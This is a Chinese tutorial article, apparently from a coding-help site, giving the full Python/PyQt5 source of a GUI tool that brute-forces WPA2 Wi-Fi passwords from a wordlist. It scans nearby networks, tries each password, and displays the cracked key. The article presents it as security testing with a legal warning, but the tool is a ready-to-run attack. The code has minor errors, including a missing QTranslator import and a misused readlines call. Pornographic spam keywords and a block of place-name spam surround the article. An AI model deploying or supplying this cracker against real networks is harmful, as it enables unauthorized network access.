最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python制作一個(gè)WiFi密碼測試工具

 更新時(shí)間:2025年01月15日 09:16:47   作者:黑客白澤  
這篇文章主要為大家詳細(xì)介紹了Python如何通過字典攻擊方式幫助用戶測試 Wi-Fi 網(wǎng)絡(luò)的安全性,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以了解下

1. 簡介

這款工具的目的是通過字典攻擊方式幫助用戶測試 Wi-Fi 網(wǎng)絡(luò)的安全性。通過選擇合適的無線網(wǎng)卡接口、目標(biāo) Wi-Fi 網(wǎng)絡(luò)和密碼字典文件,用戶可以在界面上實(shí)時(shí)看到測試進(jìn)度、日志和最終結(jié)果。

以下是詳細(xì)的功能介紹:

1. Wi-Fi 接口選擇

功能:允許用戶選擇無線網(wǎng)卡接口。

實(shí)現(xiàn):通過 pywifi.PyWiFi() 獲取所有可用的無線網(wǎng)卡接口,并在界面中顯示供用戶選擇。

2. Wi-Fi 網(wǎng)絡(luò)掃描

功能:掃描可用的 Wi-Fi 網(wǎng)絡(luò)并顯示在下拉列表中。

實(shí)現(xiàn):選擇無線網(wǎng)卡接口后,點(diǎn)擊“刷新列表”按鈕,程序?qū)呙璨⒘谐鏊锌捎玫?Wi-Fi 網(wǎng)絡(luò)(SSID)。

3. 字典文件選擇

功能:用戶選擇一個(gè)密碼字典文件,工具將用字典中的密碼嘗試連接到目標(biāo) Wi-Fi 網(wǎng)絡(luò)。

實(shí)現(xiàn):用戶可以通過拖放或點(diǎn)擊“選擇字典文件”按鈕,選擇一個(gè) .txt 格式的密碼字典文件。每個(gè)字典文件中的密碼將逐一嘗試。

4. Wi-Fi 測試過程

功能:使用字典文件中的密碼嘗試連接到目標(biāo) Wi-Fi 網(wǎng)絡(luò),直到找到正確的密碼或遍歷完所有密碼。

實(shí)現(xiàn):

  • 使用 pywifi 庫來創(chuàng)建 Wi-Fi 配置文件并嘗試連接。
  • 每個(gè)密碼嘗試后,更新日志并顯示嘗試的密碼。
  • 如果連接成功,顯示成功密碼;如果失敗,則繼續(xù)嘗試下一個(gè)密碼。
  • 支持設(shè)置最大等待時(shí)間(例如 5 秒)來檢查連接是否成功。

5. 進(jìn)度條

功能:實(shí)時(shí)顯示破解進(jìn)度。

實(shí)現(xiàn):在破解過程中,每次嘗試密碼后更新進(jìn)度條,顯示當(dāng)前已嘗試密碼的百分比。

6. 日志顯示

功能:記錄并實(shí)時(shí)顯示破解過程中的日志信息。

實(shí)現(xiàn):所有的日志信息(如密碼嘗試、連接成功、失敗等)會在界面上以文本形式實(shí)時(shí)更新,供用戶查看。

7. 開始/停止測試

功能:用戶可以開始或停止測試過程。

實(shí)現(xiàn):點(diǎn)擊“開始測試”按鈕時(shí),程序會啟動(dòng)一個(gè)后臺線程,執(zhí)行 Wi-Fi 測試操作。點(diǎn)擊“停止測試”按鈕時(shí),用戶可以中止破解操作。

8. 合法性警告

功能:在應(yīng)用啟動(dòng)時(shí),給出使用工具的合法性警告,提醒用戶本工具僅供測試自己的網(wǎng)絡(luò)安全性,禁止用于非法用途。

實(shí)現(xiàn):彈出一個(gè)消息框,顯示合法性警告。如果用戶選擇取消,則關(guān)閉程序。

9. 密碼破解成功提示

功能:在成功測試出 Wi-Fi 密碼時(shí),彈出提示框告知用戶破解結(jié)果。

實(shí)現(xiàn):當(dāng)測試成功后,彈出一個(gè)信息框,顯示測試的密碼。

10. 停止測試

功能:用戶可以隨時(shí)停止正在進(jìn)行的破解過程。

實(shí)現(xiàn):通過 CrackThread 中的 stop() 方法,停止當(dāng)前的測試線程。

2. 運(yùn)行效果

3. 相關(guān)源碼

import sys
import os
import time
from PyQt5.QtWidgets import (
    QApplication, QMainWindow, QPushButton, QVBoxLayout, QWidget,
    QLabel, QTextBrowser, QFileDialog, QProgressBar,
    QComboBox, QMessageBox, QLineEdit, QHBoxLayout
)
from PyQt5.QtCore import QThread, pyqtSignal, QTimer
from datetime import datetime
import pywifi
from pywifi import const


class DragDropLineEdit(QLineEdit):
    def __init__(self, parent=None):
        super().__init__(parent)
        self.setAcceptDrops(True)

    def dragEnterEvent(self, event):
        if event.mimeData().hasUrls():
            event.accept()
        else:
            event.ignore()

    def dropEvent(self, event):
        if event.mimeData().hasUrls():
            file_path = event.mimeData().urls()[0].toLocalFile()
            if os.path.isfile(file_path):
                self.setText(file_path)
            else:
                event.ignore()
        else:
            event.ignore()


class CrackThread(QThread):
    update_progress = pyqtSignal(int)
    update_log = pyqtSignal(str)
    success_signal = pyqtSignal(str)

    def __init__(self, wifi_name, dictionary_path, iface):
        super(CrackThread, self).__init__()
        self.wifi_name = wifi_name
        self.dictionary_path = dictionary_path
        self.iface = iface
        self.running = True

    def emit_log_with_time(self, message):
        timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")
        self.update_log.emit(f"{timestamp} {message}")

    def run(self):
        if not os.path.exists(self.dictionary_path):
            self.emit_log_with_time("[!] 密碼字典文件不存在!")
            return

        self.emit_log_with_time("開始破解...")
        with open(self.dictionary_path, "r", encoding="utf-8") as file:
            passwords = file.readlines(1000)  # 每次讀取1000行

        total_passwords = len(passwords)
        for idx, password in enumerate(passwords):
            if not self.running:
                self.emit_log_with_time("[!] 破解已停止。")
                break

            password = password.strip()  # 去除多余空格和換行符
            self.emit_log_with_time(f"[-] 測試密碼: {password}")
            if self.wifi_connect(password):
                self.emit_log_with_time(f"[+] 成功連接!密碼:{password}")
                self.success_signal.emit(password)
                self.update_progress.emit(100)
                return

            self.update_progress.emit(int((idx + 1) / total_passwords * 100))

        self.emit_log_with_time("[!] 破解失敗,嘗試其他字典文件。")

    def wifi_connect(self, pwd):
        try:
            # 創(chuàng)建WiFi配置文件
            profile = pywifi.Profile()
            profile.ssid = self.wifi_name
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = pwd

            # 清除所有配置文件
            self.iface.remove_all_network_profiles()
            tep_profile = self.iface.add_network_profile(profile)

            # 連接WiFi
            self.iface.connect(tep_profile)
            start_time = time.time()

            # 等待連接結(jié)果
            while time.time() - start_time < 5:  # 延長等待時(shí)間到5秒
                status = self.iface.status()
                if status == const.IFACE_CONNECTED:
                    self.iface.disconnect()  # 連接成功后斷開,避免干擾后續(xù)操作
                    return True
                elif status == const.IFACE_DISCONNECTED:
                    time.sleep(1)  # 給網(wǎng)卡足夠時(shí)間反應(yīng)

            self.iface.disconnect()  # 確保清理狀態(tài)
            return False
        except Exception as e:
            self.emit_log_with_time(f"[!] 連接時(shí)發(fā)生錯(cuò)誤: {e}")
            return False

    def stop(self):
        self.running = False


class WiFiCrackerUI(QMainWindow):
    def __init__(self):
        super().__init__()
        self.initUI()
        self.thread = None

    def initUI(self):
        self.setWindowTitle("WiFi破解工具")
        self.setGeometry(100, 100, 378, 532)
        self.set_ui_styles()
        self.show_legal_warning()

        layout = QVBoxLayout()

        self.interface_label = QLabel("選擇無線網(wǎng)卡接口:")
        self.interface_list = QComboBox()
        self.refresh_interface_list()
        layout.addWidget(self.interface_label)
        layout.addWidget(self.interface_list)

        wifi_layout = QHBoxLayout()
        self.wifi_label = QLabel("WiFi 名稱:")
        self.wifi_list = QComboBox()
        self.refresh_wifi_button = QPushButton("刷新列表")
        self.refresh_wifi_button.clicked.connect(self.refresh_wifi_list)
        wifi_layout.addWidget(self.wifi_label)
        wifi_layout.addWidget(self.wifi_list)
        wifi_layout.addWidget(self.refresh_wifi_button)
        layout.addLayout(wifi_layout)

        self.path_label = QLabel("密碼字典路徑:")
        self.path_input = DragDropLineEdit()
        self.browse_button = QPushButton("選擇字典文件(.txt)")
        self.browse_button.clicked.connect(self.browse_file)
        layout.addWidget(self.path_label)
        layout.addWidget(self.path_input)
        layout.addWidget(self.browse_button)

        self.log_browser = QTextBrowser()
        layout.addWidget(self.log_browser)

        self.progress_bar = QProgressBar()
        layout.addWidget(self.progress_bar)

        self.start_button = QPushButton("開始破解")
        self.start_button.clicked.connect(self.start_cracking)
        self.stop_button = QPushButton("停止破解")
        self.stop_button.clicked.connect(self.stop_cracking)
        layout.addWidget(self.start_button)
        layout.addWidget(self.stop_button)

        container = QWidget()
        container.setLayout(layout)
        self.setCentralWidget(container)

        self.refresh_wifi_list()

    def set_ui_styles(self):
        self.setStyleSheet("""
            QPushButton {
                background-color: #4CAF50;
                color: white;
                border-radius: 5px;
                padding: 10px;
            }
            QPushButton:hover {
                background-color: #45a049;
            }
            QProgressBar {
                border: 2px solid #4CAF50;
                border-radius: 5px;
                text-align: center;
            }
            QTextBrowser {
                background-color: #f5f5f5;
                font-family: "Courier New";
                border-radius: 5px;
            }
        """)

    def show_legal_warning(self):
        reply = QMessageBox.warning(
            self,
            "合法性警告",
            "本工具僅供測試自己網(wǎng)絡(luò)的安全性,禁止用于非法用途!\n"
            "使用本工具即表示您同意對所有行為自行負(fù)責(zé)。",
            QMessageBox.Ok | QMessageBox.Cancel,
        )
        if reply == QMessageBox.Cancel:
            self.close()  # 如果用戶選擇取消,退出程序

    def load_translations(self, language_code="en"):
        translator = QTranslator()
        if language_code == "zh":
            translator.load(":/translations/zh_CN.qm")
        else:
            translator.load(":/translations/en_US.qm")
        app.installTranslator(translator)

    def refresh_interface_list(self):
        wifi = pywifi.PyWiFi()
        self.interface_list.clear()
        for iface in wifi.interfaces():
            self.interface_list.addItem(iface.name())

    def refresh_wifi_list(self):
        self.wifi_list.clear()
        iface_name = self.interface_list.currentText()
        if not iface_name:
            self.log_browser.append("[!] 請先選擇 Wi-Fi 接口!")
            return

        try:
            wifi = pywifi.PyWiFi()
            iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)
            iface.scan()
            self.log_browser.append("[+] 網(wǎng)絡(luò)掃描開始...")
            QTimer.singleShot(2000, self.on_scan_complete)  # 2秒后回調(diào)掃描結(jié)果
        except Exception as e:
            self.log_browser.append(f"[!] 刷新 Wi-Fi 列表時(shí)出錯(cuò): {e}")

    def on_scan_complete(self):
        iface_name = self.interface_list.currentText()
        wifi = pywifi.PyWiFi()
        iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)
        results = iface.scan_results()
        seen_ssids = set()
        for network in results:
            ssid = network.ssid.encode('raw_unicode_escape').decode('utf-8', 'ignore')
            if ssid and ssid not in seen_ssids:
                self.wifi_list.addItem(ssid)
                seen_ssids.add(ssid)
        self.log_browser.append("[+] Wi-Fi 列表刷新完成。")

    def browse_file(self):
        file_path, _ = QFileDialog.getOpenFileName(self, "選擇密碼字典文件", "", "文本文件 (*.txt)")
        if file_path:
            if not file_path.endswith('.txt'):
                self.log_browser.append("[!] 請選擇一個(gè)有效的文本文件!")
                return
            self.path_input.setText(file_path)

    def start_cracking(self):
        if self.thread and self.thread.isRunning():
            self.log_browser.append("[!] 破解已經(jīng)在運(yùn)行中,請等待完成。")
            return

        wifi_name = self.wifi_list.currentText().strip()
        dictionary_path = self.path_input.text().strip()

        if not wifi_name or not dictionary_path:
            self.log_browser.append("[!] 請?zhí)顚懲暾畔ⅲ?)
            return

        try:
            wifi = pywifi.PyWiFi()
            iface = next(iface for iface in wifi.interfaces() if iface.name() == self.interface_list.currentText())
            iface.disconnect()
            time.sleep(1)
            if iface.status() != const.IFACE_DISCONNECTED:
                self.log_browser.append("[!] 無法斷開當(dāng)前連接。")
                return
        except Exception as e:
            self.log_browser.append(f"[!] 無法初始化無線網(wǎng)卡: {e}")
            return

        self.thread = CrackThread(wifi_name, dictionary_path, iface)
        self.thread.update_log.connect(self.log_browser.append)
        self.thread.update_progress.connect(self.progress_bar.setValue)
        self.thread.success_signal.connect(self.show_success_message)
        self.thread.start()

    def stop_cracking(self):
        if self.thread and self.thread.isRunning():
            self.thread.stop()

    def show_success_message(self, password):
        QMessageBox.information(self, "破解成功", f"Wi-Fi 密碼是: {password}")


if __name__ == "__main__":
    app = QApplication(sys.argv)
    window = WiFiCrackerUI()
    window.show()
    sys.exit(app.exec_())

到此這篇關(guān)于Python制作一個(gè)WiFi密碼測試工具的文章就介紹到這了,更多相關(guān)Python WiFi密碼測試內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Python?socket之TCP通信及下載文件的實(shí)現(xiàn)

    Python?socket之TCP通信及下載文件的實(shí)現(xiàn)

    本文主要介紹了Python?socket之TCP通信及下載文件的實(shí)現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-02-02
  • 使用Python開發(fā)游戲運(yùn)行腳本實(shí)現(xiàn)模擬點(diǎn)擊

    使用Python開發(fā)游戲運(yùn)行腳本實(shí)現(xiàn)模擬點(diǎn)擊

    這篇文章主要介紹了使用Python開發(fā)游戲運(yùn)行腳本實(shí)現(xiàn)模擬點(diǎn)擊,這樣我們要想實(shí)現(xiàn)手游腳本開發(fā)的第一步,就是下載Android模擬器,然后在對安卓模擬器進(jìn)行鼠標(biāo)和鍵盤的模擬,以此來實(shí)現(xiàn)自動(dòng)化游戲腳本,需要的朋友可以參考下
    2021-11-11
  • Python批量生成字幕圖片的方法詳解

    Python批量生成字幕圖片的方法詳解

    這篇文章主要為大家詳細(xì)介紹了如何利用Python語言實(shí)現(xiàn)批量生成字幕圖片用于視頻剪輯,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以了解一下
    2022-05-05
  • Python程序慢的重要原因

    Python程序慢的重要原因

    在本篇內(nèi)容里小編給大家整理的是一篇關(guān)于Python程序慢的重要原因分析內(nèi)容,有興趣的朋友們可以參考下。
    2020-09-09
  • 解讀Opencv中Filter2D函數(shù)的補(bǔ)全方式

    解讀Opencv中Filter2D函數(shù)的補(bǔ)全方式

    這篇文章主要介紹了解讀Opencv中Filter2D函數(shù)的補(bǔ)全方式,具有很好的參考價(jià)值,希望對大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2022-12-12
  • Android申請相機(jī)權(quán)限和讀寫權(quán)限實(shí)例

    Android申請相機(jī)權(quán)限和讀寫權(quán)限實(shí)例

    大家好,本篇文章主要講的是Android申請相機(jī)權(quán)限和讀寫權(quán)限實(shí)例,感興趣的同學(xué)趕快來看一看吧,對你有幫助的話記得收藏一下
    2022-02-02
  • 基于Python爬取愛奇藝資源過程解析

    基于Python爬取愛奇藝資源過程解析

    這篇文章主要介紹了基于Python爬取愛奇藝資源過程解析,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-03-03
  • 基于Python實(shí)現(xiàn)體育彩票選號器功能代碼實(shí)例

    基于Python實(shí)現(xiàn)體育彩票選號器功能代碼實(shí)例

    這篇文章主要介紹了基于Python實(shí)現(xiàn)體育彩票選號器功能代碼實(shí)例,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-09-09
  • Python模塊加載優(yōu)化的多種方式

    Python模塊加載優(yōu)化的多種方式

    有一段時(shí)間我總覺得,自己寫的 Python 項(xiàng)目怎么越寫越沉,明明功能沒多幾個(gè),但打開速度、執(zhí)行效率就像早高峰的地鐵,一步三挪,急死個(gè)人,那一刻我才意識到,我不是寫得慢,是“模塊加載方式”出了問題,所以本將和大家一起聊聊Python模塊加載優(yōu)化的多種方式
    2025-04-04
  • 只用四步修改jupyter的工作路徑/存儲路徑

    只用四步修改jupyter的工作路徑/存儲路徑

    為了方便用戶使用以及減少系統(tǒng)盤的占用,可以將Jupyter的默認(rèn)工作路徑修改到電腦中常用的路徑中,這篇文章主要給大家介紹了關(guān)于如何只用四步修改jupyter的工作路徑/存儲路徑的相關(guān)資料,需要的朋友可以參考下
    2023-12-12

最新評論

和龙市| 贵阳市| 松滋市| 安溪县| 唐山市| 黄山市| 甘泉县| 太原市| 西城区| 石城县| 攀枝花市| 桓仁| 德庆县| 绥芬河市| 太康县| 汽车| 南康市| 长兴县| 黎平县| 玛沁县| 杭州市| 清流县| 景德镇市| 镇雄县| 察隅县| 班戈县| 石嘴山市| 阿拉善右旗| 安丘市| 清水河县| 林西县| 巩留县| 昔阳县| 西乡县| 兴国县| 阿克苏市| 思南县| 吉水县| 宁城县| 永仁县| 顺昌县|